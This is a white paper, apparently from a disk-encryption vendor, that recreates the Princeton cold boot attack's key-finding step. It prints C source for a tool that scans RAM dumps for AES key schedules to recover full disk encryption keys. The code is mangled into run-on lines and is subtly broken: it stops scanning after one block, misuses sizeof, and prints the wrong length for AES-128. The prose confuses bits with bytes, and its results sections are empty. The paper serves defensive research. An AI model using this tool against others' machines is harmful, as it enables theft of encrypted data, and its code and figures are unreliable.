Introduction

 

                On February 21, 2008 a team of researchers from Princeton University published a research paper entitled ‘Lest We Remember: Cold Boot Attacks on Encryption Keys’[1] [i]  that describes a combination of a physical and logical attack on a laptop that results in the disclosure of Encryption keys that are encrypting the data on the hard drive. A video demonstration, available on the research team’s website, demonstrates this techniques usage on Microsoft’s Bitlocker in the form of a software program called ‘unbitlocker’.

                The paper details, in a general fashion, how the attack method can be used to attack an entire class of products similar to Bitlocker, products referred to as full disk encryption products. Several companies have come out with statements regarding the feasibility or infeasibility of the attack, but there has not been a rigorous discussion of the recreation of this attack.

                Functionally, the attack breaks down into two parts: a physical attack to image the RAM of the target system and a logical attack to find the key amidst all of the other data that is in RAM.  The majority of the controversy regarding this paper has centered on the feasibility of the physical attack; with several people denouncing the feasibility.

                However, one of the fundamental guiding tenants of security systems is Kerckhoff’s Principal – a security system should depend only on the security of the key to maintain security, even if everything about the system is public knowledge.  To this end, we have endeavored to reproduce the experiment without the reliance on the physical attack – to be exact, we have assumed that the physical attack was perfectly executed and delivered the best data possible.

                The task of finding one encryption key in the entire contents of RAM is not trivial.Finding this solitary piece of information in RAM  is analogous to finding a needle in a haystack.  Just to give everyone perspective, a good computer has 2 Giga-Bytes of RAM – this is 17,179,869,184 bits of information. The Keys that we use routinely are 256-bit; meaning that you are looking for 256 bits in 17,179,869,184 bits of information.  This means we are looking for 1 in 67,108,864 (67 Million) – The Earth total surface area is 196,935,000 (70% ocean, 30% land ) with only 59 Million Square miles of land. – So we are looking for one square mile on all the land on earth.  The Princeton team used some sophisticated mathematical techniques to key the key in Memory, they have not released all of the methods to the world yet  (nor have they released unbitlocker, a program that uses this to crack Microsoft Bitlocker).

                We have taken several sets of sample data, and replicated the ‘keyfind’ program described in Princeton paper (but not disclosed). In the interested of public discussion of this topic, we are fully disclosing the keyfind method and will provide a brief explanation as to its function.

                Only after a rigorous examination of this research can countermeasures be developed to create stronger security for confidential data stored on laptops to protect against such attacks and others to come in the future. Our examination has led to rigorous defenses against the specific attacks described in the Princeton research, but variations of this attack will always be possible in the future. Vigilance is required to stay ahead of attacks, and keep data secure.

 

 

Experimental Sections

 

                Reproduction of the attack entails two sections:

 

1)      Physical capture of the RAM contents

2)      Logical Analysis of the RAM contents to retrieve Key

 

   Our experiment was based on the assumption that a reasonable physical memory capture of the target machine is feasible and has been accomplished. To recreate this occurrence, we utilized Microsoft’s debugging program, WINDBG.EXE to obtain a complete memory dump of an encrypted target computer. This constitutes the worst case scenario for the target machine, and would not be a feasible attack in real life. This method requires the target machine to be attached to another machine via a firewire cable and for software to be installed on the target – clearly not a stealth attack. This does, however, require that any protections present be on the part of the encryption software itself with no reliance on the power state or make up of the target computer.

  Logical Analysis of the memory dumps consists of the attempted retrieval of the encryption key that is used for the encryption of the data stored on the hard drive. Special programs must be developed for mathematical analysis of the data, the Princeton team mentions a program that they created called ‘keyfind’ which they have not disclosed. We have recreated the function of this program from the mathematics behind it and include it in the experiment recreation section.

 

AES Key Expansion

 

 The method of finding the AES key amidst all of the other extraneous data in memory is using one of the functional characteristics of AES itself, namely Key expansion.  Key expansion is the mechanism through which you take the symmetric encryption key and expand it into a workable format for both encryption and decryption – as well as several iterations, or rounds.  AES is not a Feistel Cipher, meaning that encryption and decryption are not equivalent functions, which necessitates the separate tables for encryption and decryption of data.

Since this key is typically used constantly in the case of full disk encryption , the Key expansion is stored in memory and used to encrypt the data being written to the disk and decrypt the data being read off the disk. This was the mechanism of attack utilized by the Princeton researchers.

                In order to find the key expansion in memory (and subsequently in the memory dump file captured in the attack) the Keyfind program reads a specific length of data which corresponds to the key length of the algorithm.  The Length of the data is 32 bits for 256-bit, 24 bits for 192-bit or 16 bits for 128 bit. This data from the memory dump is then assumed to be the encryption key, and Key Expansion is performed upon it.  The resultant Key Expansion is then compared against the ‘nextchunk’ of data from the memory dump to see if it matches. 

                The pattern matching of the key to the key expansion is what allows the decrease in time to finding the key stored in RAM. IT is, however, dependent upon the pattern found in memory matching the pre-computed Key expansion exactly.

 

Experiment recreation

 

Physical Capture

 

   Physical capture of memory was obtained through the use of the windows debugging tool. Setup of this tools is detailed on [2] http://www.microsoft.com/whdc/DevTools/Debugging/default.mspx  . Physical setup required two computers, a target computer (the computer being attacked) and a host computer (from which the attacker is attacking). 

   The target system must have a full disk encryption software installed and running, and the user must be authenticated. In our recreation we used Mobile Armor’s DataArmor product version 3.0 service pack 4.

Sample Data

 

 

Experimental Results

Finding the Key (or more aptly, if what you found is a key)

 

 

 

/* * * Copyright and license information can be found below. * Modifications Copyright (C) 2008 MobileArmor Inc. * * Writen by Brendan Johnson * * This software is provided ‘as-is’, without any express or implied * warranty. */ 

#define READSIZE 4096#include <string.h>#include “stdafx.h”//The following header is from Brian Gladman’s AES lib//Found at http://fp.gladman.plus.com/cryptography_technology/rijndael/index.htm#include “aes.h”//The following is OS depended file IO.#include “readFile.h” 

int KeyFindMain(); 

//Simple main functionint _tmain(int argc, _TCHAR* argv[]){      OpenFile(argv[1]);      KeyFindMain();      CloseFile();      fprintf(stderr,”Program has finished\n”);      getc(stdin);      return 0;} 

//Main programint KeyFindMain(){      //The two arrays must be declared in order      // and next to eachother.      unsigned char Data[READSIZE*2];      unsigned char *Data1 = Data;      unsigned char *Data2 = &Data[READSIZE]; 

      //We need a table for both encryption and decryption      aes_ctx encrypt_table;      aes_ctx decrypt_table; 

      //Set the values to 1      memset(Data1, 0×1, READSIZE);      memset(Data2, 0×1, READSIZE); 

      //Read the next chunk of the file into Data1      ReadNextChunk(Data1);      //Read the next chunk of the file into Data2      ReadNextChunk(Data2); 

      //While we still have file to go      while(!AtEndofFile)      {            //For each byte of the file            for(int i=0;i<READSIZE;i++)            {                  //Assume we are looking an AES 256 bit key.                  aes_encrypt_key(&Data1[i], 32, &encrypt_table);                  aes_decrypt_key(&Data1[i], 32, &decrypt_table); 

                  //Check the encrption key                  if( 0 == memcmp(&Data1[i+32], &encrypt_table.ks[8], 208))                  {                        fprintf(stderr,”Found AES-256 key of “);                        for(int j=0;j<32;j++)                        {                              fprintf(stderr, “0x%x\t”, Data1[i+j]);                        }                        fprintf(stderr,”\n”);                  }                  //Check the decryption key                  if( 0 == memcmp(&Data1[i+32], &decrypt_table.ks[8], 208))                  {                        fprintf(stderr,”Found AES-256 key of “);                        for(int j=0;j<32;j++)                        {                              fprintf(stderr, “0x%x\t”, Data1[i+j]);                        }                        fprintf(stderr,”\n”);                  } 

                  //Assume we are looking an AES 192 bit key.                  aes_encrypt_key(&Data1[i], 24, &encrypt_table);                  aes_decrypt_key(&Data1[i], 24, &decrypt_table);                  if( 0 == memcmp(&Data1[i+24], &encrypt_table.ks[8], 184))                  {                        fprintf(stderr,”Found AES-192 key of “);                        for(int j=0;j<24;j++)                        {                              fprintf(stderr, “0x%x\t”, Data1[i+j]);                        }                        fprintf(stderr,”\n”);                  }                  if( 0 == memcmp(&Data1[i+24], &decrypt_table.ks[8], 184))                  {                        fprintf(stderr,”Found AES-192 key of “);                        for(int j=0;j<24;j++)                        {                              fprintf(stderr, “0x%x\t”, Data1[i+j]);                        }                        fprintf(stderr,”\n”);                  }                  //Assume we are looking an AES 128 bit key.                  aes_encrypt_key(&Data1[i], 16, &encrypt_table);                  aes_decrypt_key(&Data1[i], 16, &decrypt_table);                  if( 0 == memcmp(&Data1[i+16], &encrypt_table.ks[8], 160))                  {                        fprintf(stderr,”Found AES-128 key of “);                        for(int j=0;j<16;j++)                        {                              fprintf(stderr, “0x%x\t”, Data1[i+j]);                        }                        fprintf(stderr,”\n”);                  }                  if( 0 == memcmp(&Data1[i+16], &decrypt_table.ks[8], 160))                  {                        fprintf(stderr,”Found AES-128 key of “);                        for(int j=0;j<24;j++)                        {                              fprintf(stderr, “0x%x\t”, Data1[i+j]);                        }                        fprintf(stderr,”\n”);                  } 

            }            //We are done looking at this block, move on to the next.            memcpy(Data1, Data2, sizeof(Data2));            AtEndofFile=1;            //Read the next chunck of the file            ReadNextChunk(Data2);      } 

 

      return 1;} 

 

 

 

Results

 

 

 

 

Conclusion

 

                The Attack described in the Princeton attack is effective against a wide variety of programs that make use of AES encryption keys. The Princeton research team hinted at one of many protections against the attack in their paper, padding the key expansion with extra  data. There are several methods of defense against this attack, several of them centered on disturbing the expected pattern of the key expansion in memory.

                One method would be to expand the AES key into 256k seeded with random information, making the elements of the table difficult or impossible for the attacker to discern without knowing the pattern.  

                Several Viable methods of protection are viable and, indeed, should be practiced in the practice of good cryptographic Hygiene. The attack vector employed is easily defended against through standard cryptographic practices, and rigorous adherence to good Key Handling processes.

---

[3] [i] Lest We Remember: Cold Boot Attacks on Encryption KeysJ.Alex Halderman,, Seth D.Schoen,, Nadia Heninger, William Clarkson, William Paul, Joseph A.Calandrino, Ariel J.Feldman, Jacob Appelbaum, and Edward W.Felten;Princeton University, Electronic Frontier Foundation, Wind River Systems; February 21, 2008; [4] http://citp.princeton.edu/memory